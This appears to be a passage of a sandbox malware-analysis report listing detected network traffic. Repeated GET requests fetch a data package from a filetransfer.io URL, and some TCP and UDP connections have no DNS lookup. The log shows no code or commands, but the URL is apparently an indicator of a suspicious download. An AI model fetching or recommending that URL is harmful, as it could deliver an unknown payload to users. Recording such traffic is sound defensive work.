Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
